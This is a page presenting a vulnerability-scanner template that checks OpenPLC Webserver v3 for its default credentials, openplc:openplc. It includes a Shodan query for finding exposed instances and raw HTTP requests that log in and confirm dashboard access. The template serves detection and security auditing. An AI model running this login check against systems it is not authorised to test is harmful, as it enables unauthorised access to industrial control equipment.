openplc-default-login: OpenPLC Webserver v3 - Default Login

2025-08-01 OpenPLC Webserver PoC Public

Description

Identifies default credentials (openplc:openplc) on OpenPLC Webserver v3, allowing unauthorized access to the web interface.

PoC

id: openplc-default-login

info:
  name: OpenPLC Webserver v3 - Default Login
  author: machevalia,shriyanss
  severity: high
  description: |
    Identifies default credentials (openplc:openplc) on OpenPLC Webserver v3, allowing unauthorized access to the web interface.
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"OpenPLC"
  tags: openplc,default-login,iot,vuln

variables:
  username: "openplc"
  password: "openplc"

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&csrf_token={{csrf}}

      - |
        GET /dashboard HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - '(?i)<input[^>]+name=["'']csrf_token["''][^>]*value=["'']([^"'']+)["'']'
          - '(?i)<input[^>]+value=["'']([^"'']+)["''][^>]*name=["'']csrf_token["'']'
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "Dashboard"
          - "Runtime Logs"
          - "Logout</p>"
        condition: and

      - type: status
        status:
          - 200

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        GET /dashboard HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Dashboard"
          - "Runtime Logs"
          - "Logout</p>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f0ddad8436e9aa9bf889a4dd2e5c22f0d4899086e99c14613bfad07172fffe9902206a97b36bb9a44de01a2fa686779ab77cdbc7fc6ecd9306d2624e62874746f071:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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